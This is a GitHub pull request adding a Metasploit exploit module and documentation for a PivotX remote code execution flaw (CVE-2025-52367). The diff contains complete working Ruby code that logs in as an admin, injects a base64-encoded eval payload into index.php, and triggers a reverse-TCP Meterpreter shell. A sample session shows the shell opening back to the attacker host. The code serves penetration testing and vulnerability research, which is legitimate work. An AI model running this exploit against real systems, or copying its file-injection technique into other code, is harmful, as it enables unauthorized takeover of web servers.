-
Notifications
You must be signed in to change notification settings - Fork 14.5k
Adds module for PivotX RCE (CVE-2025-52367) #20400
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from 4 commits
ed5c133
75f6e6a
54c86cf
edfa84e
2328b40
744188f
c9e0c71
8130316
0273f14
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
## Vulnerable Application | ||
|
||
PivotX is free software to help you maintain dynamic sites such as weblogs, online journals and other frequently updated websites in general. | ||
It's written in PHP and uses MySQL or flat files as a database. | ||
|
||
Install steps: | ||
|
||
1. Install Apache2, MySQL, PHP8.2+ | ||
1. `git clone https://github.com/pivotx/PivotX.git` | ||
1. Move `PivotX` to webfolder | ||
1. Run the following from the web folder `sudo chown -R www-data:www-data ./` | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use exploit/linux/http/pivotx_rce` | ||
1. Do: `set USERNAME [PivotX username]` | ||
1. Do: `set PASSWORD [PivotX password]` | ||
1. Do: `set RHOSTS [target IP]` | ||
1. Do: `set LHOST [attacker IP]` | ||
1. Do: `run` | ||
|
||
## Options | ||
|
||
|
||
### USERNAME | ||
|
||
PivotX username. | ||
|
||
### PASSWORD | ||
|
||
PivotX password. | ||
|
||
## Scenarios | ||
|
||
``` | ||
msf exploit(linux/http/pivotx_rce) > run verbose=true | ||
[*] Started reverse TCP handler on 192.168.168.128:4444 | ||
[*] Sending stage (40004 bytes) to 192.168.168.146 | ||
[*] Meterpreter session 4 opened (192.168.168.128:4444 -> 192.168.168.146:40562) at 2025-07-18 14:20:03 +0200 | ||
|
||
meterpreter > sysinfo | ||
msutovsky-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
Computer : ubuntu | ||
OS : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64 | ||
Meterpreter : php/linux | ||
|
||
``` |
Original file line number | Diff line number | Diff line change | ||||
---|---|---|---|---|---|---|
@@ -0,0 +1,156 @@ | ||||||
## | ||||||
# This module requires Metasploit: https://metasploit.com/download | ||||||
# Current source: https://github.com/rapid7/metasploit-framework | ||||||
## | ||||||
|
||||||
class MetasploitModule < Msf::Exploit::Remote | ||||||
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html | ||||||
|
||||||
include Exploit::Remote::HttpClient | ||||||
prepend Msf::Exploit::Remote::AutoCheck | ||||||
|
||||||
def initialize(info = {}) | ||||||
super( | ||||||
update_info( | ||||||
info, | ||||||
'Name' => 'PivotX Remote Code Execution', | ||||||
'Description' => %q{ | ||||||
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution. | ||||||
}, | ||||||
'License' => MSF_LICENSE, | ||||||
'Author' => [ | ||||||
'HayToN', # security research | ||||||
'msutovsky-r7' # module dev | ||||||
], | ||||||
'References' => [ | ||||||
[ 'EDB', '52361' ], | ||||||
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'], | ||||||
[ 'CVE', '2025-52367'] | ||||||
], | ||||||
'Targets' => [ | ||||||
[ | ||||||
'Linux', | ||||||
{ | ||||||
'Platform' => 'php', | ||||||
'Arch' => ARCH_PHP | ||||||
} | ||||||
] | ||||||
], | ||||||
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, | ||||||
'DisclosureDate' => '2025-07-10', | ||||||
'DefaultTarget' => 0, | ||||||
'Notes' => { | ||||||
'Stability' => [CRASH_SAFE], | ||||||
'Reliability' => [REPEATABLE_SESSION], | ||||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] | ||||||
} | ||||||
) | ||||||
) | ||||||
register_options([ | ||||||
OptString.new('USERNAME', [ true, 'PivotX username', '' ]), | ||||||
OptString.new('PASSWORD', [true, 'PivotX password', '']), | ||||||
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/']) | ||||||
]) | ||||||
end | ||||||
|
||||||
def check | ||||||
res = send_request_cgi({ | ||||||
'method' => 'GET', | ||||||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php') | ||||||
}) | ||||||
|
||||||
return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200 | ||||||
|
||||||
return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered') | ||||||
|
||||||
html_body = res.get_html_document | ||||||
|
||||||
return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ } | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||
|
||||||
version = Rex::Version.new(Regexp.last_match(1)) | ||||||
|
||||||
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3') | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||
|
||||||
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable") | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||
end | ||||||
|
||||||
def login | ||||||
data_post = Rex::MIME::Message.new | ||||||
data_post.add_part('', nil, nil, %(form-data; name="returnto")) | ||||||
data_post.add_part('', nil, nil, %(form-data; name="template")) | ||||||
data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username")) | ||||||
data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password")) | ||||||
|
||||||
res = send_request_cgi({ | ||||||
'method' => 'POST', | ||||||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'), | ||||||
'vars_get' => { 'page' => 'login' }, | ||||||
'ctype' => "multipart/form-data; boundary=#{data_post.bound}", | ||||||
'data' => data_post.to_s, | ||||||
'keep_cookies' => true | ||||||
}) | ||||||
|
||||||
fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/ | ||||||
|
||||||
@csrf_token = Regexp.last_match(1) | ||||||
end | ||||||
|
||||||
def modify_file | ||||||
res = send_request_cgi({ | ||||||
'method' => 'GET', | ||||||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'), | ||||||
'vars_get' => { 'page' => 'homeexplore' } | ||||||
}) | ||||||
|
||||||
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching working directory' unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/ | ||||||
|
||||||
@base_dir = Regexp.last_match(1) | ||||||
|
||||||
res = send_request_cgi({ | ||||||
'method' => 'GET', | ||||||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), | ||||||
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' } | ||||||
}) | ||||||
|
||||||
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching index.php' unless res&.code == 200 | ||||||
|
||||||
@original_value = res.get_html_document.at('textarea')&.text | ||||||
|
||||||
fail_with Failure::Unknown, 'Could not find content of index.php' unless @original_value | ||||||
|
||||||
res = send_request_cgi({ | ||||||
'method' => 'POST', | ||||||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), | ||||||
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" } | ||||||
}) | ||||||
|
||||||
fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Minor, and I know this syntax is correct, but not having the parentheses does not match the syntax used on line 68. I recognize everyone has their own preference, but I do think we should be consistent throughout the file. |
||||||
end | ||||||
|
||||||
def trigger_payload | ||||||
send_request_cgi({ | ||||||
'method' => 'POST', | ||||||
'uri' => normalize_uri(target_uri.path, 'index.php') | ||||||
}) | ||||||
end | ||||||
|
||||||
def restore | ||||||
res = send_request_cgi({ | ||||||
'method' => 'POST', | ||||||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), | ||||||
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value } | ||||||
}) | ||||||
vprint_status('Restoring original content') | ||||||
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') | ||||||
end | ||||||
|
||||||
def exploit | ||||||
vprint_status('Logging in PivotX') | ||||||
login | ||||||
vprint_status('Modifying file and injecting payload') | ||||||
modify_file | ||||||
vprint_status('Triggering payload') | ||||||
trigger_payload | ||||||
restore | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Could you add |
||||||
end | ||||||
end |
Uh oh!
There was an error while loading. Please reload this page.